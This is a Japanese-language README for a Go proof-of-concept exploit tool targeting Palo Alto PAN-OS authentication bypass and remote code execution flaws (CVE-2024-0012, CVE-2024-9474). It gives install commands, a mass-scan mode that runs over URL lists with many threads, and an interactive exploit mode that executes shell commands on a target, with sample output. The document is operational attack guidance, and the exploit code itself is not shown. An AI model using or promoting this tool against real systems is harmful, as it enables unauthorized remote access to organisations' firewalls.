
Palo Alto RCE脆弱性
このスクリプトは、Palo Alto PAN-OS の脆弱性 (CVE-2024-0012 および CVE-2024-9474) に対する Proof of Concept (PoC) エクスプロイトです。このスクリプトは、脆弱性を検出するためにURLリストをスキャンするか、単一の脆弱なURLに対して対話的にエクスプロイトを実行するために使用できます。
git clone https://github.com/aratane/CVE-2024-9474
cd CVE-2024-9474
go mod tidy
github.com/cheggaaa/pb/v3: スキャン状況を表示するプログレスバー。 github.com/gookit/color: コンソール出力の色表示機能強化。 github.com/manifoldco/promptui: 対話型コマンドラインプロンプト。 github.com/p0dalirius/goopts/parser: コマンドライン引数の解析。
スキャンモードは、複数のURLに対して脆弱性をチェックするために使用します。URLリストを含むファイルを指定する必要があります。
go run main.go --file urls.txt --output results.txt --threads 100
--file: スキャンするURLリストを含むファイルへのパス。 --output: スキャン結果を保存するパス(デフォルト: output.txt)。 --threads: スキャンに使用する同時スレッド数(デフォルト: 200)。
http://example1.com
http://example2.com
エクスプロイトモードでは、脆弱なURLに対して対話的にエクスプロイトを実行できます。
go run main.go --url http://target.com --output results.txt
--url: エクスプロイト対象のターゲットURL。 --output: エクスプロイト結果を保存するパス。 エクスプロイトモードに入ると、ターゲットシステム上で実行するコマンドを入力できます。exit と入力すると対話型シェルを終了します。
ヘルプ情報を表示するには:
go run main.go --help
スキャンが完了すると、結果は指定された出力ファイル(例: results.txt)に保存されます:
[+] http://example1.com - Auth Bypass successful
[+] http://example2.com - Auth Bypass successful
URLを対話的にエクスプロイトする際、ターゲット上でコマンドを実行した後、その出力が表示されます:
# ls /var
bin app lib tmp
# exit
[+] Exiting interactive shell.
コマンドライン引数 フラグ 説明 デフォルト値 --url エクスプロイトモードで使用するURL --file スキャンモードで使用するURLリストのファイル --output 結果を保存する出力ファイル output.txt --threads スキャンモードでの同時スレッド数 200 --help ヘルプメッセージを表示
このプロジェクトはMITライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。